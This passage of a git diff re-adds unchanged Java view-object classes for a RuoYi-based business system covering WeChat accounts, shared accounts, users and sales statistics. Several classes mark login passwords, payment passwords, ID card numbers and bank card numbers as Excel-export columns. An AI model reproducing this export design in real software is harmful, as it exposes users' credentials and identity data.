"结束时间") - private Date endTime; - - /** - * 创建人 - */ - @ExcelProperty(value = "创建人") - private Long addUser; - - /** - * 创建人 - */ - @ExcelProperty(value = "创建人") - private String addname; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date addTime; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpWechatUser; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; + + + +/** + * 微信使用人修改历史视图对象 tp_wechat_user + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpWechatUser.class) +public class TpWechatUserVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 所属微信 + */ + @ExcelProperty(value = "所属微信") + private Long wid; + + /** + * 使用人 + */ + @ExcelProperty(value = "使用人") + private Long uid; + + /** + * 使用人 + */ + @ExcelProperty(value = "使用人") + private String user; + + /** + * 当前客服时间 + */ + @ExcelProperty(value = "当前客服时间") + private Date nowTime; + + /** + * 当前客服总业绩 + */ + @ExcelProperty(value = "当前客服总业绩") + private BigDecimal nowPrice; + + /** + * 结束时间 + */ + @ExcelProperty(value = "结束时间") + private Date endTime; + + /** + * 创建人 + */ + @ExcelProperty(value = "创建人") + private Long addUser; + + /** + * 创建人 + */ + @ExcelProperty(value = "创建人") + private String addname; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatVo.java index 242d640..ad2425b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWechatVo.java @@ -1,207 +1,207 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import com.fasterxml.jackson.annotation.JsonFormat; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpWechat; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; - - - -/** - * 基本信息视图对象 tp_wechat - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpWechat.class) -public class TpWechatVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - *ID - */ - @ExcelProperty(value = "ID") - private Long id; - - /** - * 唯一编号 - */ - @ExcelProperty(value = "唯一编号") - private String code; - - /** - * 微信昵称 - */ - @ExcelProperty(value = "微信昵称") - private String nikename; - - /** - * 使用人 - */ - private Long uid; - - /** - * 使用人 - */ - @ExcelProperty(value = "使用人") - private String user; - - /** - * 手机号 - */ - @ExcelProperty(value = "手机号") - private String phone; - - /** - * 投入使用时间 - */ - @ExcelProperty(value = "投入使用时间") - @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") - private Date userTime; - - /** - * 实名制人 - */ - @ExcelProperty(value = "实名制人") - private String name; - - /** - * 身份证号 - */ - @ExcelProperty(value = "身份证号") - private String cardId; - - /** - * 绑定银行 - */ - @ExcelProperty(value = "绑定银行") - private String bank; - - /** - * 绑定银行卡号 - */ - @ExcelProperty(value = "绑定银行卡号") - private String number; - - /** - * 初始好友数 - */ - @ExcelProperty(value = "初始好友数") - private Long num; - - /** - * 总好友数 - */ - @ExcelProperty(value = "总好友数") - private Long allnum; - - /** - * 当前客服时间 - */ - @ExcelProperty(value = "当前客服时间") - private Date nowTime; - - /** - * 创建人 - */ - private Long addUser; - - /** - * 创建人 - */ - @ExcelProperty(value = "创建人") - private String addname; - - /** - * 是否删除(1=未删除,2=已删除) - */ - @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=未删除,2=已删除") - private Integer isDel; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date addTime; - - /** - * 当前客服总业绩 - */ -// @ExcelProperty(value = "当前客服总业绩") - private BigDecimal nowPrice; - - /** - * 成交客户数 - */ -// @ExcelProperty(value = "成交客户数") - private Long dealNum; - - /** - * 成交业绩总额 - */ -// @ExcelProperty(value = "成交业绩总额") - private BigDecimal totalSum; - - /** - * 成交单数 - */ -// @ExcelProperty(value = "成交单数") - private Long dealOrderNum; - - /** - * 成交比例 - */ -// @ExcelProperty(value = "成交比例") - private String dealRatio; - - /** - * 月均业绩 - */ -// @ExcelProperty(value = "月均业绩") - private BigDecimal monthAmount; - - /** - * 本年新增人数 - */ -// @ExcelProperty(value = "本年新增人数") - private Long yearNum; - - /** - * 本月新增人数 - */ -// @ExcelProperty(value = "本月新增人数") - private Long monthNum; - - /** - * 昨天新增人数 - */ -// @ExcelProperty(value = "昨天新增人数") - private Long dayNum; - - /** - * 投入使用天数 - */ - @ExcelProperty(value = "投入使用天数") - private Long userDay; - - /** - * 当前客服使用天数 - */ - @ExcelProperty(value = "当前客服使用天数") - private Long nowDay; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import com.fasterxml.jackson.annotation.JsonFormat; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpWechat; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; + + + +/** + * 基本信息视图对象 tp_wechat + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpWechat.class) +public class TpWechatVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + *ID + */ + @ExcelProperty(value = "ID") + private Long id; + + /** + * 唯一编号 + */ + @ExcelProperty(value = "唯一编号") + private String code; + + /** + * 微信昵称 + */ + @ExcelProperty(value = "微信昵称") + private String nikename; + + /** + * 使用人 + */ + private Long uid; + + /** + * 使用人 + */ + @ExcelProperty(value = "使用人") + private String user; + + /** + * 手机号 + */ + @ExcelProperty(value = "手机号") + private String phone; + + /** + * 投入使用时间 + */ + @ExcelProperty(value = "投入使用时间") + @JsonFormat(pattern = "yyyy-MM-dd", timezone = "GMT+8") + private Date userTime; + + /** + * 实名制人 + */ + @ExcelProperty(value = "实名制人") + private String name; + + /** + * 身份证号 + */ + @ExcelProperty(value = "身份证号") + private String cardId; + + /** + * 绑定银行 + */ + @ExcelProperty(value = "绑定银行") + private String bank; + + /** + * 绑定银行卡号 + */ + @ExcelProperty(value = "绑定银行卡号") + private String number; + + /** + * 初始好友数 + */ + @ExcelProperty(value = "初始好友数") + private Long num; + + /** + * 总好友数 + */ + @ExcelProperty(value = "总好友数") + private Long allnum; + + /** + * 当前客服时间 + */ + @ExcelProperty(value = "当前客服时间") + private Date nowTime; + + /** + * 创建人 + */ + private Long addUser; + + /** + * 创建人 + */ + @ExcelProperty(value = "创建人") + private String addname; + + /** + * 是否删除(1=未删除,2=已删除) + */ + @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=未删除,2=已删除") + private Integer isDel; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date addTime; + + /** + * 当前客服总业绩 + */ +// @ExcelProperty(value = "当前客服总业绩") + private BigDecimal nowPrice; + + /** + * 成交客户数 + */ +// @ExcelProperty(value = "成交客户数") + private Long dealNum; + + /** + * 成交业绩总额 + */ +// @ExcelProperty(value = "成交业绩总额") + private BigDecimal totalSum; + + /** + * 成交单数 + */ +// @ExcelProperty(value = "成交单数") + private Long dealOrderNum; + + /** + * 成交比例 + */ +// @ExcelProperty(value = "成交比例") + private String dealRatio; + + /** + * 月均业绩 + */ +// @ExcelProperty(value = "月均业绩") + private BigDecimal monthAmount; + + /** + * 本年新增人数 + */ +// @ExcelProperty(value = "本年新增人数") + private Long yearNum; + + /** + * 本月新增人数 + */ +// @ExcelProperty(value = "本月新增人数") + private Long monthNum; + + /** + * 昨天新增人数 + */ +// @ExcelProperty(value = "昨天新增人数") + private Long dayNum; + + /** + * 投入使用天数 + */ + @ExcelProperty(value = "投入使用天数") + private Long userDay; + + /** + * 当前客服使用天数 + */ + @ExcelProperty(value = "当前客服使用天数") + private Long nowDay; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWorksVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWorksVo.java index dc4935b..83041a5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWorksVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpWorksVo.java @@ -1,57 +1,57 @@ -package org.dromara.work.domain.vo; - -import org.dromara.system.domain.SysPicture; -import org.dromara.work.domain.TpWorks; -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 作品收藏视图对象 tp_works - * - * @author Maosw - * @date 2025-07-23 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpWorks.class) -public class TpWorksVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * id - */ - @ExcelProperty(value = "id") - private Long id; - - /** - * 用户ID - */ - @ExcelProperty(value = "用户ID") - private Long userId; - - /** - * 作品ID - */ - @ExcelProperty(value = "作品ID") - private Long pictureId; - - /** - * 作品对象 - */ - @ExcelProperty(value = "作品对象") - private SysPicture picture; - - -} +package org.dromara.work.domain.vo; + +import org.dromara.system.domain.SysPicture; +import org.dromara.work.domain.TpWorks; +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 作品收藏视图对象 tp_works + * + * @author Maosw + * @date 2025-07-23 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpWorks.class) +public class TpWorksVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * id + */ + @ExcelProperty(value = "id") + private Long id; + + /** + * 用户ID + */ + @ExcelProperty(value = "用户ID") + private Long userId; + + /** + * 作品ID + */ + @ExcelProperty(value = "作品ID") + private Long pictureId; + + /** + * 作品对象 + */ + @ExcelProperty(value = "作品对象") + private SysPicture picture; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpYearVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpYearVo.java index ed4f811..d69ec50 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpYearVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpYearVo.java @@ -1,85 +1,85 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpYear; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 年目标视图对象 tp_year - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpYear.class) -public class TpYearVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 人员 - */ - @ExcelProperty(value = "人员") - private Long sid; - - /** - * 年 - */ - @ExcelProperty(value = "年") - private String year; - - /** - * 个人目标 - */ - @ExcelProperty(value = "个人目标") - private Long geren; - - /** - * 公司目标 - */ - @ExcelProperty(value = "公司目标") - private Long gongsi; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date addTime; - - /** - * 用户昵称 - */ - private String nickName; - - /** - * 真实姓名 - */ - private String realName; - - /** - * 部门名称 - */ - private String deptName; - - private Long deptId; - - private String ancestors; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpYear; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 年目标视图对象 tp_year + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpYear.class) +public class TpYearVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 人员 + */ + @ExcelProperty(value = "人员") + private Long sid; + + /** + * 年 + */ + @ExcelProperty(value = "年") + private String year; + + /** + * 个人目标 + */ + @ExcelProperty(value = "个人目标") + private Long geren; + + /** + * 公司目标 + */ + @ExcelProperty(value = "公司目标") + private Long gongsi; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date addTime; + + /** + * 用户昵称 + */ + private String nickName; + + /** + * 真实姓名 + */ + private String realName; + + /** + * 部门名称 + */ + private String deptName; + + private Long deptId; + + private String ancestors; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TzSharedAccountVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TzSharedAccountVo.java index cbd7658..7707fad 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TzSharedAccountVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TzSharedAccountVo.java @@ -1,124 +1,124 @@ -package org.dromara.work.domain.vo; - -import java.util.Date; -import com.fasterxml.jackson.annotation.JsonFormat; -import org.dromara.work.domain.TzSharedAccount; -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 共享账号视图对象 tz_shared_account - * - * @author Maosw - * @date 2025-05-06 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TzSharedAccount.class) -public class TzSharedAccountVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键ID - */ - @ExcelProperty(value = "主键ID") - private Long id; - - /** - * 使用者ID - */ - @ExcelProperty(value = "使用者ID") - private Long userId; - - /** - * 使用者姓名 - */ - @ExcelProperty(value = "使用者姓名") - private String userName; - - /** - * 共享账号编号 - */ - @ExcelProperty(value = "共享账号编号") - private String code; - - /** - * 登录账号 - */ - @ExcelProperty(value = "登录账号") - private String loginName; - - /** - * 登录密码 - */ - @ExcelProperty(value = "登录密码") - private String loginPwd; - - /** - * 状态:0-未使用,1-使用中 - */ - @ExcelProperty(value = "状态:0-未使用,1-使用中") - private Integer status; - - /** - * 开始使用时间 - */ - @ExcelProperty(value = "开始使用时间") - private Date startTime; - - /** - * 预期结束时间 - */ - @ExcelProperty(value = "预期结束时间") - private Date endTime; - - /** - * 绑定人姓名 - */ - @ExcelProperty(value = "绑定人姓名") - private String bindName; - - /** - * 绑定人手机号码 - */ - @ExcelProperty(value = "绑定人手机号码") - private String bindPhone; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 会员套餐 - */ - @ExcelProperty(value = "会员套餐") - private String thali; - - /** - * 套餐到期时间 - */ - @ExcelProperty(value = "套餐到期时间") - private Date thaliTime; - - -} +package org.dromara.work.domain.vo; + +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import org.dromara.work.domain.TzSharedAccount; +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 共享账号视图对象 tz_shared_account + * + * @author Maosw + * @date 2025-05-06 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TzSharedAccount.class) +public class TzSharedAccountVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键ID + */ + @ExcelProperty(value = "主键ID") + private Long id; + + /** + * 使用者ID + */ + @ExcelProperty(value = "使用者ID") + private Long userId; + + /** + * 使用者姓名 + */ + @ExcelProperty(value = "使用者姓名") + private String userName; + + /** + * 共享账号编号 + */ + @ExcelProperty(value = "共享账号编号") + private String code; + + /** + * 登录账号 + */ + @ExcelProperty(value = "登录账号") + private String loginName; + + /** + * 登录密码 + */ + @ExcelProperty(value = "登录密码") + private String loginPwd; + + /** + * 状态:0-未使用,1-使用中 + */ + @ExcelProperty(value = "状态:0-未使用,1-使用中") + private Integer status; + + /** + * 开始使用时间 + */ + @ExcelProperty(value = "开始使用时间") + private Date startTime; + + /** + * 预期结束时间 + */ + @ExcelProperty(value = "预期结束时间") + private Date endTime; + + /** + * 绑定人姓名 + */ + @ExcelProperty(value = "绑定人姓名") + private String bindName; + + /** + * 绑定人手机号码 + */ + @ExcelProperty(value = "绑定人手机号码") + private String bindPhone; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 会员套餐 + */ + @ExcelProperty(value = "会员套餐") + private String thali; + + /** + * 套餐到期时间 + */ + @ExcelProperty(value = "套餐到期时间") + private Date thaliTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TzUserVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TzUserVo.java index 9a3cca8..4edc576 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TzUserVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TzUserVo.java @@ -1,245 +1,245 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TzUser; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; - - -/** - * 用户视图对象 tz_user - * - * @author Maosw - * @date 2024-12-09 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TzUser.class) -public class TzUserVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * ID - */ - @ExcelProperty(value = "ID") - private Long userId; - - /** - * 用户昵称 - */ - @ExcelProperty(value = "用户昵称") - private String nickName; - - /** - * 真实姓名 - */ - @ExcelProperty(value = "真实姓名") - private String realName; - - /** - * 用户邮箱 - */ - @ExcelProperty(value = "用户邮箱") - private String userMail; - - /** - * 登录密码 - */ - @ExcelProperty(value = "登录密码") - private String loginPassword; - - /** - * 支付密码 - */ - @ExcelProperty(value = "支付密码") - private String payPassword; - - /** - * 手机号码 - */ - @ExcelProperty(value = "手机号码") - private String userMobile; - - /** - * 身份证号码 - */ - @ExcelProperty(value = "身份证号码") - private String idCard; - - /** - * 身份证正面 - */ - @ExcelProperty(value = "身份证正面") - private String frontCard; - - /** - * 身份证反面 - */ - @ExcelProperty(value = "身份证反面") - private String reverseCard; - - /** - * 余额 - */ - @ExcelProperty(value = "余额") - private BigDecimal balance; - - /** - * 抵扣金 - */ - @ExcelProperty(value = "抵扣金") - private BigDecimal deductionFee; - - /** - * 修改时间 - */ - @ExcelProperty(value = "修改时间") - private Date modifyTime; - - /** - * 注册时间 - */ - @ExcelProperty(value = "注册时间") - private Date userRegtime; - - /** - * 注册IP - */ - @ExcelProperty(value = "注册IP") - private String userRegip; - - /** - * 最后登录时间 - */ - @ExcelProperty(value = "最后登录时间") - private Date userLasttime; - - /** - * 最后登录IP - */ - @ExcelProperty(value = "最后登录IP") - private String userLastip; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String userMemo; - - /** - * M(男) or F(女) - */ - @ExcelProperty(value = "M(男) or F(女)") - private String sex; - - /** - * 例如:2009-11-27 - */ - @ExcelProperty(value = "例如:2009-11-27") - private String birthDate; - - /** - * 头像图片路径 - */ - @ExcelProperty(value = "头像图片路径") - private String pic; - - /** - * 状态 1 正常 0 无效 - */ - @ExcelProperty(value = "状态 1 正常 0 无效") - private Integer status; - - /** - * 用户积分 - */ - @ExcelProperty(value = "用户积分") - private Long score; - - /** - * 微信openId - */ - @ExcelProperty(value = "微信openId") - private String openId; - - /** - * 是否设计师 1:是 0:否 - */ - @ExcelProperty(value = "是否设计师 1:是 0:否") - private Integer isDesigner; - - /** - * 设计师认证信息 - */ - @ExcelProperty(value = "设计师认证信息") - private String sjsJson; - - /** - * 设计师审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 - */ - @ExcelProperty(value = "设计师审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝") - private Integer sjsFlag; - - /** - * 实名审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 - */ - @ExcelProperty(value = "实名审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝") - private Integer examineFlag; - - /** - * 价格开关是否打开 1:打开 0:关闭 - */ - @ExcelProperty(value = "价格开关是否打开 1:打开 0:关闭") - private Integer priceFlag; - - /** - * 是否是会员 1:是 0:否 - */ - @ExcelProperty(value = "是否是会员 1:是 0:否") - private Integer isMember; - - /** - * 会员有效期结束 - */ - @ExcelProperty(value = "会员有效期结束") - private Date validTo; - - /** - * 调价比例 - */ - @ExcelProperty(value = "调价比例") - private String ratio; - - /** - * 拉卡拉用户ID - */ - @ExcelProperty(value = "拉卡拉用户ID") - private String custId; - - /** - * 证件起止日期 - */ - @ExcelProperty(value = "证件起止日期") - private String certExpirationDate; - - /** - * 订单数量 - */ - @ExcelProperty(value = "订单数量") - private Long orderNum; - - /** - * 订单总金额 - */ - @ExcelProperty(value = "订单总金额") - private BigDecimal orderTotal; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TzUser; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; + + +/** + * 用户视图对象 tz_user + * + * @author Maosw + * @date 2024-12-09 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TzUser.class) +public class TzUserVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @ExcelProperty(value = "ID") + private Long userId; + + /** + * 用户昵称 + */ + @ExcelProperty(value = "用户昵称") + private String nickName; + + /** + * 真实姓名 + */ + @ExcelProperty(value = "真实姓名") + private String realName; + + /** + * 用户邮箱 + */ + @ExcelProperty(value = "用户邮箱") + private String userMail; + + /** + * 登录密码 + */ + @ExcelProperty(value = "登录密码") + private String loginPassword; + + /** + * 支付密码 + */ + @ExcelProperty(value = "支付密码") + private String payPassword; + + /** + * 手机号码 + */ + @ExcelProperty(value = "手机号码") + private String userMobile; + + /** + * 身份证号码 + */ + @ExcelProperty(value = "身份证号码") + private String idCard; + + /** + * 身份证正面 + */ + @ExcelProperty(value = "身份证正面") + private String frontCard; + + /** + * 身份证反面 + */ + @ExcelProperty(value = "身份证反面") + private String reverseCard; + + /** + * 余额 + */ + @ExcelProperty(value = "余额") + private BigDecimal balance; + + /** + * 抵扣金 + */ + @ExcelProperty(value = "抵扣金") + private BigDecimal deductionFee; + + /** + * 修改时间 + */ + @ExcelProperty(value = "修改时间") + private Date modifyTime; + + /** + * 注册时间 + */ + @ExcelProperty(value = "注册时间") + private Date userRegtime; + + /** + * 注册IP + */ + @ExcelProperty(value = "注册IP") + private String userRegip; + + /** + * 最后登录时间 + */ + @ExcelProperty(value = "最后登录时间") + private Date userLasttime; + + /** + * 最后登录IP + */ + @ExcelProperty(value = "最后登录IP") + private String userLastip; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String userMemo; + + /** + * M(男) or F(女) + */ + @ExcelProperty(value = "M(男) or F(女)") + private String sex; + + /** + * 例如:2009-11-27 + */ + @ExcelProperty(value = "例如:2009-11-27") + private String birthDate; + + /** + * 头像图片路径 + */ + @ExcelProperty(value = "头像图片路径") + private String pic; + + /** + * 状态 1 正常 0 无效 + */ + @ExcelProperty(value = "状态 1 正常 0 无效") + private Integer status; + + /** + * 用户积分 + */ + @ExcelProperty(value = "用户积分") + private Long score; + + /** + * 微信openId + */ + @ExcelProperty(value = "微信openId") + private String openId; + + /** + * 是否设计师 1:是 0:否 + */ + @ExcelProperty(value = "是否设计师 1:是 0:否") + private Integer isDesigner; + + /** + * 设计师认证信息 + */ + @ExcelProperty(value = "设计师认证信息") + private String sjsJson; + + /** + * 设计师审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 + */ + @ExcelProperty(value = "设计师审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝") + private Integer sjsFlag; + + /** + * 实名审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝 + */ + @ExcelProperty(value = "实名审核状态 1:未认证 2:待审核 3:已通过 4:已拒绝") + private Integer examineFlag; + + /** + * 价格开关是否打开 1:打开 0:关闭 + */ + @ExcelProperty(value = "价格开关是否打开 1:打开 0:关闭") + private Integer priceFlag; + + /** + * 是否是会员 1:是 0:否 + */ + @ExcelProperty(value = "是否是会员 1:是 0:否") + private Integer isMember; + + /** + * 会员有效期结束 + */ + @ExcelProperty(value = "会员有效期结束") + private Date validTo; + + /** + * 调价比例 + */ + @ExcelProperty(value = "调价比例") + private String ratio; + + /** + * 拉卡拉用户ID + */ + @ExcelProperty(value = "拉卡拉用户ID") + private String custId; + + /** + * 证件起止日期 + */ + @ExcelProperty(value = "证件起止日期") + private String certExpirationDate; + + /** + * 订单数量 + */ + @ExcelProperty(value = "订单数量") + private Long orderNum; + + /** + * 订单总金额 + */ + @ExcelProperty(value = "订单总金额") + private BigDecimal orderTotal; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WechatSumVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WechatSumVo.java index 9f93490..356b075 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WechatSumVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WechatSumVo.java @@ -1,60 +1,60 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; - -@Data -@ExcelIgnoreUnannotated -public class WechatSumVo implements Serializable { - @Serial - private static final long serialVersionUID = 1L; - - - /** - * 微信资源总数 - */ - private Long wxSum; - - /** - * 成交客户数 - */ - private Long cjkhSum; - - /** - * 成交单数 - */ - private Long cjdsSum; - - /** - * 成交总金额 - */ - private BigDecimal cjzjeSum; - - /** - * 总好友数 - */ - private Long zhySum; - - - /** - * 本年新增好友 - */ - private Long bnxzSum; - - - /** - * 本月新增好友 - */ - private Long byxzSum; - - - /** - * 昨日新增好友 - */ - private Long zrxzSum; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; + +@Data +@ExcelIgnoreUnannotated +public class WechatSumVo implements Serializable { + @Serial + private static final long serialVersionUID = 1L; + + + /** + * 微信资源总数 + */ + private Long wxSum; + + /** + * 成交客户数 + */ + private Long cjkhSum; + + /** + * 成交单数 + */ + private Long cjdsSum; + + /** + * 成交总金额 + */ + private BigDecimal cjzjeSum; + + /** + * 总好友数 + */ + private Long zhySum; + + + /** + * 本年新增好友 + */ + private Long bnxzSum; + + + /** + * 本月新增好友 + */ + private Long byxzSum; + + + /** + * 昨日新增好友 + */ + private Long zrxzSum; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WxDayListVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WxDayListVo.java index 498430e..70c8c19 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WxDayListVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/WxDayListVo.java @@ -1,49 +1,49 @@ -package org.dromara.work.domain.vo; - -import 